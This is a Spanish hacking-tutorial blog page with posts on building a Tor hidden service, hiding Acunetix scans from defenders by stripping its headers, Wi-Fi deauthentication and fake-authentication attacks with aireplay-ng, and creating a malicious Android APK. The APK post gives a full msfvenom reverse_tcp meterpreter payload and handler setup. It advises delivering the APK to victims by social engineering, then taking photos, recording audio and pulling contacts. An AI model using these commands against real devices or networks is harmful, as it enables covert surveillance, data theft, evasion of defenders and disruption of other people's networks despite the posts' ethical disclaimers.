lunes, 29 de febrero de 2016

Creación de un Hidden Service de Tor


Antes de comenzar esta PoC, queremos recalcar que está realizada con fines educativos y, sobre todo éticos. Y no nos hacemos responsables del mal uso que puedan darle.


Vamos a montar un Hidden Service, es decir, un servidor con dominio .onion, aumentando así la privacidad y anonimato del servicio dado. Este tipo de dominio conforman lo que se conoce como red Tor, perteneciente a la Deep Web.


Para realizar esta PoC, montaremos un servidor web en un entorno virtualizado (no por ello falso, ya que aún virtualizado estará en la red y será accesible) sobre GNU/Linux Debian.


¿Qué es Tor?
Tor (The Onion Routing) es una red de nodos distribuidos por el mundo, en el que los paquetes viajan por los mismos antes de llegar a su destino, ofreciendo privacidad y sobre todo anonimato. Cada nodo por el que pasa un paquete es cifrado por capas (e ahí el nombre de Onion).


La red de Tor forma parte además de la conocida Deep Web, en la que el anonimato, como arma de doble filo, es tanto usada con fines éticos (librerías, tutoriales de todo tipo, prensa sin censura) como con fines delictivos (pedofilia, mercado negro, servicios ilegales).


Tras esta breve introducción a Tor, si deseas más información, te dejamos algunos enlaces que pueden serte de utilidad: Wikipedia, Tor Project, Cómo empezar a usar Tor, Cómo funiona Tor.


Instalación del servidor web (LAMP)
Comenzamos con la instalación del servidor LAMP en nuestro Debian. LAMP es el acrónimo dado a la infraestructura del servidor web conformado por las siguientes herramientas: Linux + Apache + MySQL + PHP (A veces, MySQL puede ser sustituido por MariaDB, y PHP por Perl o Python). No vamos a entrar en detalles sobre la instalación, ya que realizaremos una instalación básica sin configuraciones extra. Anteriormente en este blog explicamos algo parecido.
Como Instalar Apache Mysql PHP en Debian


El proceso es sencillo y no ahondaremos en configuraciones, por lo que únicamente instalaremos los paquetes necesarios y editaremos el contenido de la página.



# apt-get install apache2 php5 libapache2-mod-php5 php5-mcrypt mysql-server php5-mysql




Comprobamos  el correcto funcionamiento de nuestro servidor web (conectándonos a la IP del servidor desde un navegador):




Editamos el contenido de la página. Éste se encuentra en la ruta /var/www/html.






Ya tenemos nuestro servidor LAMP corriendo, es el momento de instalar Tor y anonimizarlo, así como obtener el dominio .onion. Cabe destacar que en esta prueba de concepto no contemplamos todos los aspectos de seguridad, por lo que no se debe asumir que siguiendo estos pasos tendremos un servidor completamente seguro y anónimo, para lograr esto, debemos contemplar otras medidas de seguridad en el servidor, tales como detectores de intrusos, VPN, proxys, hardening del servidor, etc.


Instalación de Tor en nuestro servidor Debian
Antes de instalar Tor es necesario instalar algunos paquetes que permiten el correcto funcionamiento e instalación de Tor, los cuales son:


# apt-get install screen build-essential libevent-dev openssl zlib1g-dev libssl-dev




Una vez instalados, instalamos Tor con el gestor de paquetes apt-get.




El archivo de configuración, donde definimos los hidden service, se encuentra en /etc/tor/torrc. Accedemos y añadimos las siguientes líneas al final:




El parámetro “HiddenServiceDir” indica la ruta donde se almacena el contenido de la página. Nosotros hemos creado una carpeta dentro de /root denominada tor, donde alojaremos el index.html y el resto de contenido dela página.


El parámetro “HiddenServicePort” indicamos el puerto por el que accederemos al servidor. Podéis poner el que queráis, en mi caso he usado el puerto 80 (por defecto). Si elegimos un puerto extraño, deberemos configurar el archivo de configuración de Apache para que responda al mismo puerto además del archivo /etc/apache2/ports.conf.


Una vez guardado los cambios, reiniciamos el servidor y reiniciamos tor.




Arrancamos el servidor Tor con el siguiente comando:




Una vez terminado, listamos el contenido de la carpeta que hemos seleccionado para almacenar el Hidden Service, y veremos dos nuevos archivos junto al index.html.




¿Qué son? “private_key” almacena la clave privada del servidor.




El fichero “hostname”, almacena el dominio asignado .onion:




Para finalizar, únicamente debemos descargar el navegador de Tor (o acceder con un navegador con soporte para Tor) y veremos nuestra página. Editando el contenido podéis crear una página dinámica para objetivo que queráis, aunque eso es otro tema. (repetimos que no nos hacemos responsable del mal uso que puedan darle, puesto que es sólo para fines educativos y éticos).

domingo, 28 de febrero de 2016

Escaneando like a Sir

Prueba de concepto realizada por @ShargonXL (Twitter)

La POC de hoy es bastante sencillita, y trata de como pasar un Acunetix, en sitios que lo bloquean, o de forma que no se detecte (al menos de forma fácil)

Acunetix envia las siguientes cabeceras de forma automática, ya que ha de hacerse de manera profesional y avisando al cliente.

Versión 8.0 (con la que se realiza esta POC)



 
En la versión 9 envía unas mas como Acunetix-Product , creo recordar.
Según este post, envía también estas, no ha sido mi caso, pero lo suyo es que revisaras primero que cabeceras envía tu versión para poder continuar, y hacerlo a sabiendas, ya que pueden variar.


 Para protegerse, BlueTeam, tan sólo bastaría estas lineas de código php.



Estarías protegido de un ataque (escaneo ejem ejem) normal por acunetix. 
O no? Pues bien, vamos a ponerlo algo mas complicado al BlueTeam
Pues muy sencillo ahora vamos al Acunetix.



y le establecemos un proxy local al puerto que más rabia te de (y no esté en uso).



Abrimos el Fiddler (http://www.telerik.com/fiddler) (i love fiddler) y lo configuramos de forma que escuche peticiones a ese puerto.




Ahora todas las peticiones del Acunetix pasan por nuestro proxy. Le establecemos filtros de borrado de cabeceras.


Y ya puedes escanear, que ¡no será visto! (al menos no enviara dichas cabeceras) :)


Y eso es todo amigos!! 



P.D El autor no se hace responsable del mal uso que se le de a esta PoC, usen siempre estos conocimientos de forma ética y con consentimiento del cliente. 





sábado, 27 de febrero de 2016

Hackeando dispositivos android con Metasploit

Autores: Juan Velasco y Diego Jurado





Hola hackers! Hoy os traemos una pequeña prueba de concepto de cómo un atacante podría acceder a nuestros datos y dispositivo Android. Para ello realizaremos las pruebas en una simulación mediante el uso de máquinas virtuales.

¡¡Vamos allá!!



Paso 1: Configuración de red



Comprobar conexiones entre los dispositivos


Como trabajaremos en local, puesto que se trata de una prueba de concepto, usaremos dos máquinas virtuales. Una con la distribución Kali Linux 2.0 y otra con una distribución de Android 4.4 que puedes encontrar aquí.


Una vez que tenemos las dos máquinas virtuales encendidas y en funcionamiento, tenemos que ponerlas en modo NAT. Es decir, en red local o interna.




Comprobamos que tenemos conexión entre ambas máquinas realizando un ping entre las dos direcciones IP. Para obtener la dirección IP de nuestro dispositivo Android tenemos que dirigirnos a “Ajustes → Acerca del teléfono → Estado”, teniendo una conexión activa a internet.


Configurar puertos del router


Configuramos puertos del router, abrimos por ejemplo el puerto 5555 y ponemos la interfaz de la máquina virtual que estamos usando, en nuestro caso Kali-Linux.

La máquina virtual Kali tiene la ip (192.168.1.53), tiene que estar en la misma subred que la máquina física desde la cual configuramos el router (192.168.1.33) y deberá estar en modo transparente (Modo Bridged).

Una vez configurados los puertos del router, y la red, procedemos a la creación del malware.



Paso 2: Creación del APK malicioso


Nos vamos a la máquina virtual de Kali Linux, abrimos terminal y ponemos el siguiente comando:

msfvenom -p android/meterpreter/reverse_tcp LHOST=direccion_ip LPORT=puerto R> apkmalicioso.apk

En nuestro caso:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=5555 R> apkmalicioso.apk

Nota: Deberemos poner en LHOST nuestra dirección ip de Kali Linux y en LPORT el puerto que hemos abierto en el router, en nuestro caso el 5555.

Ya tenemos nuestro apk malicioso creado, ahora es importantísimo darle permisos de ejecución desde las propiedades, ya que si no lo hacemos, el usuario no podrá ejecutar e instalar dicha apk.



Ahora toca distribuir nuestro malware vía email, Dropbox o cualquier herramienta de descargas. Ingeniería social.

Como diría Kevin Mitnic



Por otro lado, deberemos abrir metasploit framework y realizar el exploit para escuchar posibles conexiones de nuestras víctimas.


En este caso, lo que haremos será utilizar el exploit multi/handler y el payload reverse_tcp de android para escuchar conexiones ya que serán las víctimas las que se conecten a nosotros.

  1. use multi/handler
  2. set payload android/meterpreter/reverse_tcp
  3. set lhost direccion_ip_kali
  4. set lport 5555
  5. exploit –j (ponemos el –j para permitir más de una conexión y por tanto para poder abrir varias sesiones al mismo tiempo).

En cuanto la víctima descargue e instale la aplicación, obtendremos una sesión de meterpreter, como podemos ver en la imagen.



Paso 3: Jugando con meterpreter


Ya tenemos la sesión de meterpreter, por lo que tenemos acceso TOTAL al dispositivo móvil.

Es hora de empezar a jugar…

Esta es una lista de algunos comandos que podemos usar:


Podemos mostrar información sobre el sistema:


Listar todos los procesos abiertos:


Acceder a la shell del sistema para navegar por carpetas…


Mostrar las cámaras disponibles


Pudiendo tomar fotografías desde ambas cámaras (delantera y trasera)




Grabar sonidos o activar la webcam



Sacar un listado de contactos o últimas llamadas



Estos son algunos de los comandos que podemos realizar. Es importante saber que todos los archivos se van guardando el carpeta /root de kali linux...




Nota: Los autores de esta prueba de concepto no se hacen responsables del mal uso Be good }:)



viernes, 26 de febrero de 2016

Aircrack-ng (II) - Desautenticación y autenticación falsa

Buenas hackers! Continuaremos ahora nuestro viaje probando las opciones que nos ofrece Aircrack-ng realizando un breve recorrido por algunos de los ataques más sencillos y representativos que permite realizar la suite Aircrack-ng.

Comenzaremos con los ataque de deautenticación y autenticación falsa de Aireplay-ng. Son ataques prácticamente automatizados sobre una red inalámbrica, que además de constituir una amenaza por sí mismos, sirven como primer paso para ataques más avanzados que requieran una desconexión/reconexión de un cliente de la red o que nuestro host esté conectado a la misma.


Ataque de desautenticación

Realizado directamente desde el script aireplay-ng, permite la inyección en la red inalámbrica de paquetes de desautentificación con el objetivo de impedir que un cliente se conecte a un punto de acceso inalámbrico, desconectándolo en caso de que ya esté asociado a él.

Éste ataque, del tipo denegación de servicio (DoS) sirve tanto para provocar el caos en una red (podemos incluir como objetivo la red completa) como para provocar reconexiones que nos permitirán recoger el handshake WPA y facilitar un ataque posterior que nos diga la clave de la red.

Lo primero que debemos hacer es escanear como se ha visto anteriormente con la herramienta airodump-ng las redes inalámbricas al alcance. Una vez se localiza la que queremos atacar, debemos colocar la interfaz en el mismo canal que dicha red. Para ello, tenemos tres posibilidades:

  1. Ejecutar en paralelo la herramienta airodump-ng con la opción -c N, que escaneará las redes del canal N, bloqueando la interfaz en dicho canal.
  2. Recolocar la interfaz en modo managed o modo normal con airmon-ng (airmon-ng stop wlan0mon), y volver a colocarla en modo monitor especificando el canal N (airmong-ng start wlan0 N).
  3. Modificar el canal directamente con iwconfig (iwconfig wlan0 channel N).
La tercera suele ser la forma más rápida.

Tomaremos como ejemplo la misma red que escaneamos en el apartado de airodump-ng anterior. Viendo que está en el canal 5, colocamos la interfaz en dicho canal:

iwconfig wlan0mon channel 5

El siguiente comando lanza un ataque de desautenticación dirigido a un objetivo concreto dentro de la red, que ya hemos identificado anteriormente.

aireplay-ng -0 10 -a 84:9C:A6:36:99:24 -c 64:A6:51:AD:EB:4C wlan0mon


Proporcionamos varios parámetros:
  • -0 N indica que el tipo de paquete a lanzar es de desautenticación, y que lanzaremos N paquetes.
  • -a XX:XX:XX:XX:XX:XX marca como objetivo la red inalámbrica identificada con el BSSID dado.
  • -c YY:YY:YY:YY:YY:YY marca como objetivo el cliente conectado a la red inalámbrica e identificado con su dirección MAC.
  • interfaz es la interfaz de red inalámbrica local desde la cual lanzaremos el ataque.
Realizando el ataque de desautenticación
Podremos ver en el dispositivo atacado que la red o bien deja de funcionar o bien directamente se pierde la conexión, dependiendo del gestor de red que utilice. Sin embargo la razón es la misma: ha sido desautenticado de la red inalámbrica.


Ataque de autenticación falsa

También realizado desde la misma herramienta aireplay-ng, nos permite simular una autenticación dentro de una red tipo WEP, ya sea abierta o de clave compartida, de forma que nos asociamos al punto de acceso.

Este ataque no tiene como tal una finalidad destructiva directa como puede ser el ataque de desautenticación. Más bien su utilidad es asociar nuestra dirección MAC al punto de acceso inalámbrico, de manera que a partir de este punto podamos inyectar paquetes en su red, permitiendo otro tipo de ataques más avanzados.

Tomando el mismo caso de ejemplo que los apartados anteriores, lanzaremos un ataque de autenticación falsa a nuestra red inalámbrica:

aireplay-ng -1 0 -e FORENSE -a 84:9C:A6:36:99:24 -h F8:1A:67:0A:09:95 wlan0mon

Como vemos, debemos especificar algunos campos:
  • -1 0 indica que el tipo de ataque es de autenticación falsa, y que el tiempo de reasociación es de 0 segundos, haciendo que se reintente de forma constante. En ataques reales, suele ser conveniente aumentar este tiempo.
  • -e ESSID indica el ESSID de la red a la que queremos atacar. Es un campo optativo si ya tenemos el BSSID.
  • -a XX:XX:XX:XX:XX:XX marca el BSSID de la red objetivo.
  • -h YY:YY:YY:YY:YY:YY establece la dirección MAC origen de la conexión, en este caso la nuestra.
Lanzando el ataque de autenticación falsa
Vemos que nos indica amablemente (:-]) que el ataque ha sido un éxito. Si ejecutamos en paralelo airodump-ng, vemos cómo nuestra MAC aparece como autenticada en la red.

Nuestra MAC autenticada dentro de la red, visto en airodump-ng

Hasta aquí avanzaremos en la entrada de hoy. Son dos ataques muy sencillos de realizar y que, como he dicho ya, nos servirán como primer paso para ataques más avanzados. 

En la próxima entrega tendremos la tercera parte de nuestro recorrido, realizando ataques par el crackeo del algoritmo WEP mediante inyección de tráfico, y de algoritmo WPA mediante ataque por diccionario. 

Espero que os haya gustado la entrada y os sirva para vuestro aprendizaje. Un saludo hackers!
hartek


Google Analytics